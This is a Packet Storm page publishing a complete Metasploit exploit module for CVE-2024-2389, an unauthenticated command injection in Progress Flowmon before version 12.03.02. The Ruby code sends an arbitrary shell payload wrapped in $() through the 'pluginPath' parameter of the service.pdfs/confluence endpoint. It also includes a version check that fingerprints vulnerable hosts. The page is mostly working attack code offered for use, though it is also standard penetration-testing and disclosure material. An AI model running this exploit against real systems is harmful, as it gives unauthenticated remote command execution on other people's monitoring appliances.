what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Flowmon Unauthenticated Command Injection

Flowmon Unauthenticated Command Injection
Posted May 29, 2024
Authored by Dave Yesland | Site metasploit.com

This Metasploit module exploits an unauthenticated command injection vulnerability in Progress Flowmon versions before v12.03.02.

tags | exploit
advisories | CVE-2024-2389
SHA-256 | f262ccf117a7326996b9db1324d65098a3eea5a5882162d9f1ec432434054948

Flowmon Unauthenticated Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Flowmon Unauthenticated Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in Progress Flowmon
versions before v12.03.02.
},
'Author' => [
'Dave Yesland with Rhino Security Labs',
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-2389'],
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/'],
['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability']
],
'DisclosureDate' => '2024-04-23',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [ REPEATABLE_SESSION ]
},
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The URI path to Flowmon', '/'])
])
end

def execute_command(cmd)
send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'service.pdfs', 'confluence'),
'method' => 'GET',
'vars_get' => {
'file' => rand_text_alphanumeric(8),
'lang' => rand_text_alphanumeric(8),
'pluginPath' => "$(#{cmd})"
}
)
end

def exploit
print_status('Attempting to execute payload...')
execute_command(payload.encoded)
end

def check
print_status("Checking if #{peer} can be exploited!")

uri = normalize_uri(target_uri.path, 'homepage/auth/login')
res = send_request_cgi(
'uri' => uri,
'method' => 'GET'
)

return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Safe('Target does not appear to be running Progress Flowmon') unless res.code == 200 && res.get_html_document.xpath('//title').text == 'Flowmon Web Interface'

# Use a regular expression to extract the version number from the response
version = res.body.match(%r{/favicon\.ico\?v=([\d.]+)})

return CheckCode::Unknown('Unable to determine the version from the favicon link.') unless version && version[1]

print_status("Detected version: #{version[1]}")

if Rex::Version.new(version[1]) <= Rex::Version.new('12.03.02')
CheckCode::Vulnerable("Version #{version[1]} is vulnerable.")
else
CheckCode::Safe("Version #{version[1]} is not vulnerable.")
end
end
end
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close